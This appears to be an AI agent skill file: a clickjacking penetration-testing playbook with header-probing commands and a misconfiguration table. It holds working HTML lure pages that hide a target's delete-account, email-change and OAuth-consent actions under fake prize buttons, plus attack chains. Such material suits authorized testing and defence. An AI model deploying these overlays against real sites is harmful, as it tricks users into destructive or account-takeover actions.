AGENT SKILL

clickjacking

UI redressing — missing X-Frame-Options / frame-ancestors, frame-buster bypass, drag-and-drop, cursorjacking, double-clickjacking, and sensitive-action framing.

License 许可
Apache-2.0
最近更新
2026-07-22
Stars
★ 3
Forks
0

01 前言 Front Matter

name
clickjacking
metadata
{ "tags": "web-application, clickjacking, ui-redress, iframe, csp", "subdomain": "execution", "when_to_use": "clickjacking ui redress iframe x-frame-options frame-ancestors framebuster cursorjacking double-click", "mitre_attack": "T1059.007" }
description
UI redressing — missing X-Frame-Options / frame-ancestors, frame-buster bypass, drag-and-drop, cursorjacking, double-clickjacking, and sensitive-action framing.
allowed-tools
Bash Read Write

03 SKILL.md 正文

Clickjacking Playbook

Framing a sensitive UI under an attacker page lets a single victim click trigger a privileged action (delete account, transfer funds, grant OAuth scope, confirm 2FA). Severity = severity of the framed action. Pages without X-Frame-Options and without Content-Security-Policy: frame-ancestors are framable.

1. Detection — framing controls

# Inspect headers on every sensitive page (settings, transfer, oauth/consent, delete, admin)
for path in / /account /account/email /account/delete /transfer /oauth/authorize /admin; do
  echo "== $path =="
  curl -s -D- -o /dev/null "https://<TARGET>$path" \
    | grep -iE "x-frame-options|content-security-policy"
done

# Quick "is it framable?" probe — save to disk, open in a browser
cat > /tmp/cj.html <<'EOF'
<!doctype html><title>frame test</title>
<iframe src="https://<TARGET>/account/delete" width="900" height="600"></iframe>
EOF
# If the iframe renders the target UI → framing allowed.

Server-side allow:

  • no X-Frame-Options header and
  • no frame-ancestors directive in Content-Security-Policy (or frame-ancestors * / overly broad).

2. Misconfig matrix

Class Server behaviour Exploit
No XFO, no CSP frame-ancestors full framing allowed classic overlay
XFO: ALLOW-FROM only ignored by modern browsers full framing in Chromium/Firefox
frame-ancestors * explicit allow-all full framing
frame-ancestors 'self' *.target.com trusts every subdomain host PoC on a takeable subdomain
Frame-buster JS only (if (top!=self) top.location=self.location) client-side defense sandbox="allow-forms allow-scripts" (no allow-top-navigation) defeats it
204-frame-buster response replaces self <iframe csp="sandbox" ...> or pre-empt with onbeforeunload
Drag-and-drop sinks sensitive textarea framable drag attacker-controlled string onto target form
Cursorjacking custom cursor + offset misalign visible vs. real pointer
Double-clickjacking first click opens prompt, second confirms two-stage overlay (Paulos Yibelo 2024)
Touch / pointer gestures mobile swipe consent overlay with transparent gesture target
Permissions-Policy missing camera/mic in iframe request perms in nested iframe over consent UI

3. Exploit PoC — overlay

<!doctype html>
<html><head><title>Free iPhone</title>
<style>
  body { margin:0 }
  .lure { position:absolute; z-index:1; top:0; left:0; font:48px sans-serif }
  iframe { position:absolute; z-index:2; opacity:0.0001;
           top:120px; left:60px; width:400px; height:80px;
           border:0; pointer-events:auto; }
</style></head><body>
  <div class="lure">
    Click <b style="color:red">CLAIM</b> to win an iPhone:
    <button style="position:absolute;top:140px;left:120px;width:120px;height:40px">CLAIM</button>
  </div>
  <!-- aligned so the invisible iframe button sits exactly over CLAIM -->
  <iframe src="https://<TARGET>/account/delete?confirm=1"
          sandbox="allow-forms allow-scripts allow-same-origin"></iframe>
</body></html>

3.1 Drag-and-drop CJ

<div draggable="true" ondragstart="event.dataTransfer.setData('text/plain','attacker@evil.com')">
  Drag me to win
</div>
<iframe src="https://<TARGET>/account/email" style="opacity:.0001" ...></iframe>

3.2 Double-clickjacking (browser confirm dialog)

<button onclick="w=window.open('https://<TARGET>/oauth/authorize?client_id=evil&...')">Play</button>
<!-- victim's 2nd click lands inside the popup on the now-focused "Allow" button -->

4. Chains

  • CJ + OAuth consent → silent scope grant → API takeover.
  • CJ + CSRF-token leakage → click triggers a state change that reads token from the framed page.
  • CJ + self-XSS → coerce victim to paste/drag the payload into a framed input.
  • CJ + 2FA confirm → step-up auth confirmed under a lure click.

5. Tools

  • Burp Suite — Clickbandit (point-and-click PoC generator)
  • clickjacker.io / OWASP Clickjacking Tester
  • Manual: any HTML editor + a browser with frame ancestors disabled in dev

6. Detection signatures & OPSEC

Indicator Detection method OPSEC note
Framing from foreign origin server-side referer logging Host PoC on in-scope domain during authorized tests
Sudden spike in sensitive actions w/ short dwell time UX analytics Demonstrate impact with a single victim profile
Browser console CSP report-only violations CSP report-uri Validate prod CSP, not staging

Decision Gate: clickjacking confirmed → exploitation

  • [ ] Target lacks X-Frame-Options and effective frame-ancestors
  • [ ] Frame-buster (if any) bypassed via sandbox / CSP tricks
  • [ ] A security-relevant action (delete, grant, transfer, confirm) is reachable in one or two clicks
  • [ ] PoC visually demonstrates the lure → action mapping If all checked, escalate per finding-protocol; otherwise downgrade to informational (framable but no sensitive action).

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